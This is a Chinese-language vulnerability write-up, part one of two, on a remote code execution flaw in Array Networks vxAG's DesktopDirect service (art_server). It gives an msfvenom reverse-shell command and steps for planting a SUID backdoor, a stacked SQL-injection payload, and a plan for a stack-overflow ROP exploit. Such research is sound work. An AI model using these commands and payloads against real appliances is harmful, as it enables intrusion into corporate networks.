Array Networks vxAG 远程代码执行漏洞分析 (一) 
			
			
		 
		
		
			2022 年 Array Networks 官方发布了数个影响 AG/vxAG 设备的远程代码执行漏洞公告,官方披露信息较少,难以界定本文提到的漏洞和公告中的是否一致,因此文章内容仅供参考。由于环境配置和漏洞分析利用较为复杂,所以文章将分为两部分,本文为第一部分。(分析版本基于 9.4.0.5)
 
环境准备 镜像下载链接:vxAG 
得到镜像之后导入 Vmware 开机,等待启动完成会提示输入账户登录,默认账户为 array:admin。登录到 CLI,先配置网络,相关命令:
1 2 3 4 5 enable <提示输入密码,直接回车> configure terminal ip address port1 192.168.0.151 255.255.255.0 exit 
 
配置好之后浏览器访问链接 https://192.168.0.151:8888  使用默认账户登录即可。
代码和权限获取 网络配置完毕,我们需要拿到文件系统以便于进行代码审计分析。获取代码采用比较常规的思路,即尝试将虚拟机磁盘挂载出来,拷贝文件系统或植入后门。
先关闭虚拟机,卸载磁盘,然后将磁盘挂载到另一台 Linux 虚拟机上,可以识别到以下分区
不过尝试点击分区打开时,会出现错误信息:
这是因为 vxAG 是基于 FreeBSD 系统开发的,FreeBSD 使用 UFS 文件系统,Linux 对 UFS 的识别可能存在一些问题,我们尝试用 mount 命令挂载
1 sudo mount -r -t ufs -o ufstype=ufs2 /dev/sdb10 ./sdb10 
 
这样就可以挂载成功,业务相关程序位于 /dev/sdb7 中,先将文件打包到本地。
由于设备不提供 root shell,为了方便后续调试需要在系统中植入后门,不过直接从 Linux 上没办法修改 UFS 文件系统,如果想修改,需要安装一系列工具和内核驱动模块,其过程比较复杂且存在失败风险。我们可以采取更好的方案,安装一份 FreeBSD 系统,将磁盘挂载到此系统即可进行读写操作。
FreeBSD 7.0 的下载链接 ,下载 disc1 即可,安装过程参考手册 。
进入 FreeBSD 系统先修改 /etc/ssh/sshd_config 配置文件,添加 PermitRootLogin yes 选项允许 root 用户登录,关机将磁盘挂载上去,开机从 ssh 登录。挂载目标磁盘时应使用 IDE 类型。
在 /dev 目录下可以看到 ad0 设备,对应目标硬盘。文件系统位于 ad0s1e 分区中,使用下面的命令将分区挂载到本地
1 2 fsck -y /dev/ad0s1e     mount /dev/ad0s1e ./test      
 
植入后门时我们希望对系统的改动最小,不影响正常功能,经分析发现位于 /ca/bin 目录下的 monitor.sh 脚本在执行 CLI 命令 debug monitor 时会被调用,可以考虑在这个脚本开头加入一些后门命令。
利用 msf 生成木马文件
1 msfvenom -p bsd/x64/shell_reverse_tcp LHOST=192.168.0.161 LPORT=12345 -f elf > my_shell 
 
把木马放在 /ca/bin 目录下,赋予 SUID 权限,然后在 monitor.sh 开头添加启动命令
另外,可以将 /etc/master.passwd 中的 root 密码修改成已知的,方便后续操作。
保存修改卸载磁盘,将磁盘重新挂载回 array 系统上,开机进入 CLI,先在接收端监听端口,然后执行下面的命令
1 2 3 4 enable configure terminal debug monitor off debug monitor on 
 
在接收端收到反弹 shell:
在命令行中执行
1 pw user mod array -g wheel 
 
允许 array 用户使用 su 切换,然后执行命令
1 2 mv /ca/bin/ca_shell /ca/bin/ca_shell_bak ln -s /bin/csh /ca/bin/ca_shell 
 
从 ssh 以 array 用户身份登录,再 su 切换到 root 用户即可得到完整的 shell 环境。
漏洞分析 本文要介绍的漏洞位于设备 DesktopDirect 功能上,根据官方描述,这是一个类似 VPN 的远程接入功能,允许企业员工在任何地点的任何设备上安全的接入公司网络。这个功能默认运行在 TCP 9090 端口上,对应二进制程序 art_server。
art_server 是一个基于 lighttpd 开发的 web 服务程序,对应配置文件 /ca/bin/art_server.conf,我们直接对它逆向分析。
程序包含符号信息,加上 lighttpd 源码辅助可以快速对功能点进行定位,我们找到关键入口函数 mod_art_server_uri_handler,这个函数会根据用户的请求 URI 调用不同功能,URI 包括
1 2 3 4 5 6 7 /smx /prequery /query /object /portal /replication /test 
 
每个 URI 对应不同函数,大部分操作都是对本地 sqlite 数据库 /ca/bin/artdb 的增删改查,举例来说,路由 /replication 下包含几个子路由 /groupinfo、/notification、/join 等,其中 /groupinfo 对应函数 handle_replication_group_info_req 的部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71   xmlBuf = 0LL ;   reqDoc = 0LL ;   repDoc = 0LL ;   db = 0LL ;   peers = 0LL ;   groupID = 0LL ;   res = 0LL ;   prmCon->http_status = 500 ;   data = get_post_content(prmData, prmServer, prmCon, 1 );   reqDoc = xmlParseMemory(data->ptr, data->used);   if  ( !reqDoc )   {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) failed to parse request (1)" , "handle_replication_group_info_req" );     goto  proc_done;   }   root = xmlDocGetRootElement(reqDoc);   if  ( !root )   {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) failed to parse request (2)" , "handle_replication_group_info_req" );     goto  proc_done;   }   for  ( reqNode = root->children; reqNode && strcmp (reqNode->name, "GroupInfoRequest" ); reqNode = reqNode->next )     ;   if  ( !reqNode )   {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) failed to parse request (3)" , "handle_replication_group_info_req" );     goto  proc_done;   }   ret = artdb_open(&db, 0 );   if  ( ret )   {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) Failed to get replication information (1)" , "handle_replication_group_info_req" );     goto  proc_done;   }   repDoc = xmlNewDoc("1.0" );   root = xmlNewNode(0LL , "ART_REP" );   xmlDocSetRootElement(repDoc, root);   repNode = xmlNewChild(root, 0LL , "GroupInfoReply" , 0LL );   ret = artdb_rep_get_group_id(db, &groupID);   if  ( ret )   {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) Failed to get replication group ID (%d)" , "handle_replication_group_info_req" , ret);     goto  proc_done;   }   if  ( groupID )     xmlNewProp(repNode, &off_6F0BED, groupID);   ret = artdb_get_version(db, &dbVerMaj, &dbVerMin, &dbBuild);   if  ( ret )   {     if  ( englog_is_on() )       englog_helper(         1u ,         1u ,         "(%s) Failed to get ART server version information (%d)" ,         "handle_replication_group_info_req" ,         ret);     goto  proc_done;   }   sprintf (st, "%d" , dbVerMaj);   xmlNewProp(repNode, "DBMaj" , st);   sprintf (st, "%d" , dbVerMin);   xmlNewProp(repNode, "DBMin" , st);   sprintf (st, "%d" , dbBuild);   xmlNewProp(repNode, "DBBuild" , st); 
 
代码中使用 artdb_open 打开数据库,然后通过 artdb_rep_get_group_id 等 API 从数据库中查询相关数据,最后将结果转换成 XML 格式返回。其他接口功能类似。
请求和响应样例:
1 2 3 4 5 6 7 8 9 POST /replication/groupinfo HTTP/1.1 Host: 127.0.0.1 Content-Type: application/xml Content-Length: 58 <xml>   <GroupInfoRequest>   </GroupInfoRequest> </xml> 
 
1 2 3 4 5 6 7 HTTP/1.1 200 OK Content-Length: 98 Date: Wed, 16 Nov 2022 05:56:44 GMT Server: lighttpd/1.4.35 <?xml version="1.0"?> <ART_REP><GroupInfoReply GID="" DBMaj="4" DBMin="0" DBBuild="7"/></ART_REP> 
 
通过对各个功能进行分析,可以找到多处使用不安全 API 处理字符数据的代码片段,例如函数 artdb_get_user_id:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int  __cdecl artdb_get_user_id (sqlite3_0 *prmDB, int  prmInstID, char  *prmUsername, int  *prmUserID) {   int  v4;    int  v6;    char  sql[2049 ];    char  *eMsg;    int  rows;    int  cols;    char  **tblRes;    if  ( prmDB )   {     eMsg = 0LL ;     sprintf (       sql,       "select * from %s where (%s=%d) and (lower(%s)=lower('%s'))" ,       "localusers" ,       "inst_id" ,       prmInstID,       "uname" ,       prmUsername);     if  ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) )     {       if  ( englog_is_on() )         englog_helper(1u , 1u , "(%s) failed to get users table (%s)" , "artdb_get_user_id" , eMsg);       sqlite3_free(eMsg);       v6 = -4 ;     }     else      {       if  ( rows <= 0  )       {         *prmUserID = -1 ;       }       else        {         v4 = artdb_table_cell(0 , 1 , cols);         *prmUserID = atoi(tblRes[v4]);         if  ( rows > 1  && englog_is_on() )           englog_helper(1u , 2u , "(%s) username %s has more than one row (%d)" , "artdb_get_user_id" , prmUsername, rows);       }       sqlite3_free(eMsg);       sqlite3_free_table(tblRes);       v6 = 0 ;     }   }   else    {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) NULL database pointer" , "artdb_get_user_id" );     v6 = -2 ;   }   return  v6; } 
 
第 14 行使用 sprintf 函数构造 sql 查询语句,其中 prmUsername 参数是我们可控的数据,有很多途径都可以触发,那么这里显然存在栈溢出漏洞。另外,构造出来的 sql 语句没有经过任何过滤就使用 sqlite3_get_table 执行,存在 sql 注入漏洞。
漏洞利用分析 首先考虑栈溢出,目标程序信息
1 2 3 4 5 6 Arch:     amd64-64-little RELRO:    No RELRO Stack:    No canary found NX:       NX disabled PIE:      No PIE (0x400000) RWX:      Has RWX segments 
 
没有开启保护措施,架构为 x64,由于数据是从 HTTP Query_String 传入的,所以不能出现特殊字符,如 00 字符。这就导致我们可能只能劫持返回地址,不能直接构造 ROP。
再次观察漏洞代码,sprintf 语句的 format string 在可控数据之后还有几个字符 ')),由于这些字符会拼接在 payload 后面,导致也没办法劫持返回地址。
考虑 sql 注入漏洞,目标数据库是 sqlite,常规的利用思路可以从数据库中泄露某些敏感信息,或者是向 web 目录创建 php 后门、加载自己上传的 so 文件等。默认情况下 /ca/bin/artdb 中应该没有内容,上传文件或向 web 目录写 php 都需要先绕过 web 登录,也难以实现。
特殊形式的栈溢出 以上比较明显的漏洞暂时没有利用思路,继续分析代码。在 /query/hosts 路由对应的函数中有下面的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 gnames = buf_get_delim_param(prmCon->uri.query->ptr, "_role" ); if  ( gnames || !check_device_identification_result(db, instID, userID, uname->ptr, prmCon, &devIDRes) ){     if  ( gnames )     {         buffer_urldecode_query(gnames);         ret = artdb_get_groupIDs_by_request(db, instID, gnames->ptr, &groupIDs, &count);         if  ( ret )             goto  done_and_close;     } } 
 
获取用户参数 _role,进行 url 解码之后传入 artdb_get_groupIDs_by_request 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int  __cdecl artdb_get_groupIDs_by_request (sqlite3_0 *prmDB, int  instID, char  *gnames, int  **prmGroupIDs, int  *prmCount) {   int  groupID;    int  groupIDs[1024 ];    char  *pCur;    char  *pNext;    char  *pName;    int  ret;    int  i;    ret = 0 ;   i = 0 ;   for  ( pCur = gnames; pCur; pCur = pNext + 1  )   {     pNext = strchr (pCur, ':' );     if  ( !pNext )     {       pName = pCur;       ret = artdb_get_group_id(prmDB, instID, pCur, &groupID);       if  ( ret )         return  -4 ;       if  ( groupID != -1  )         groupIDs[i++] = groupID;       break ;     }     pName = pCur;     *pNext = 0 ;     ret = artdb_get_group_id(prmDB, instID, pName, &groupID);     if  ( ret )       return  -4 ;     if  ( groupID != -1  )       groupIDs[i++] = groupID;   }   *prmCount = i;   if  ( !i )     goto  LABEL_20;   *prmGroupIDs = malloc (4LL  * i);   if  ( *prmGroupIDs )   {     memset (*prmGroupIDs, 0 , 4LL  * i);     memcpy (*prmGroupIDs, groupIDs, 4LL  * i); LABEL_20:     ret = 0 ;     return  0 ;   }   if  ( englog_is_on() )     englog_helper(1u , 1u , "(%s) failed to allocate the user_webaclIDS (%d)" , "artdb_get_groupIDs_by_request" , 4LL );   return  -5 ; } 
 
函数第三个参数是用户可控的 _role 参数,进入 for 循环对该字符串遍历,每次都寻找冒号。获取冒号之前的一项,将其作为参数传入 artdb_get_group_id 函数。由此可以推断 _role 是一种用冒号分隔的字符串数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int  __cdecl artdb_get_group_id (sqlite3_0 *prmDB, int  prmInstID, char  *prmGroupname, int  *prmGroupID) {   int  v4;    int  v6;    char  sql[2049 ];    char  *eMsg;    int  rows;    int  cols;    char  **tblRes;    if  ( prmDB )   {     eMsg = 0LL ;     sprintf (       sql,       "select * from %s where %s=%d and %s='%s'" ,       "localgroups" ,       "inst_id" ,       prmInstID,       "groupname" ,       prmGroupname);     if  ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) )     {       if  ( englog_is_on() )         englog_helper(1u , 1u , "(%s) failed to get groups table (%s)" , "artdb_get_group_id" , eMsg);       sqlite3_free(eMsg);       v6 = -4 ;     }     else      {       if  ( rows <= 0  )       {         *prmGroupID = -1 ;       }       else        {         v4 = artdb_table_cell(0 , 1 , cols);         *prmGroupID = atoi(tblRes[v4]);         if  ( rows > 1  && englog_is_on() )           englog_helper(             1u ,             2u ,             "(%s) groupname %s has more than one row (%d)" ,             "artdb_get_group_id" ,             prmGroupname,             rows);       }       sqlite3_free(eMsg);       sqlite3_free_table(tblRes);       v6 = 0 ;     }   }   else    {     if  ( englog_is_on() )       englog_helper(1u , 1u , "(%s) NULL database pointer" , "artdb_get_group_id" );     v6 = -2 ;   }   return  v6; } 
 
这里从 localgroups 表中查找对应的 groupname 条目,获取到它的 groupID,经过 atoi 转换成 int 型数据返回。
返回之后在循环中将 ID 赋值到位于栈的数组 groupIDs 中,然后再处理下一项数据。向数组插入多少数据是根据 _role 参数中有多少项目决定的,也就是说如果数据库中的内容可控,那么我们就可以构造较长的 _role 参数,循环不断向 groupIDs 数组写入内容,最终将导致栈溢出。
这个栈溢出和其他位置的不同,由于写入的数据是 int 类型,我们无需担心特殊字符的问题,可以直接构造 ROP 完成利用。
控制数据库 我们已经有 sql 注入漏洞,由于 sqlite 的特性,在一条 sql 语句之后拼接分号可以执行另一条语句。所以可以先将原始查询语句正确闭合,在分号后面向 localgroups 表中插入 payload 数据,最后注释掉后续的非法字符即可控制数据库中的数据。
sql 注入点有很多,我们选择 /query/clientverification2 路由,考察注入点:
1 2 3 4 5 6 7 8 sprintf (      sql,       "select * from %s where (%s=%d) and (lower(%s)=lower('%s'))" ,       "localusers" ,       "inst_id" ,       prmInstID,       "uname" ,       prmUsername); 
 
和之前介绍的语句一样,注入部分首先构造字符串 array')); 对 select 语句进行闭合,然后构造 insert 语句将数据插入表中,例如
1 insert/**/into/**/localgroups/**/(group_id,inst_id,groupname,params)/**/values/**/(123,1,"test","p");/**/-- 
 
空格部分用 /**/ 替代。
利用分析 漏洞本质上是栈溢出,所以基本思路就是构造 ROP 去调用 system 执行命令。不过在利用过程中存在一些细节问题。
1. 指针问题 
观察漏洞函数变量定义,在栈数组 groupIDs 下方有三个指针 pCur、pNext、pName,它们在 for 循环中起到定位的作用,如果在溢出过程中这些指针被非法数据覆盖,函数没执行到返回前就会崩溃。通过调试分析可以获取它们在被覆盖之前的值,在溢出数据中对这些值进行恢复即可。
2. 参数问题 
由于溢出是以 int 型即每次 4 字节来覆盖的,所以我们的命令也要符合这个条件,每 4 字节取小端序,分批写入。
调试 
系统中自带 gdb 程序,可直接在 shell 中调试。
你可以在 Github  上获取演示脚本。
演示 请观看下面的演示视频
本文内容到这里就结束了,我们将在下篇文章中介绍 License 和 VPN 的相关问题。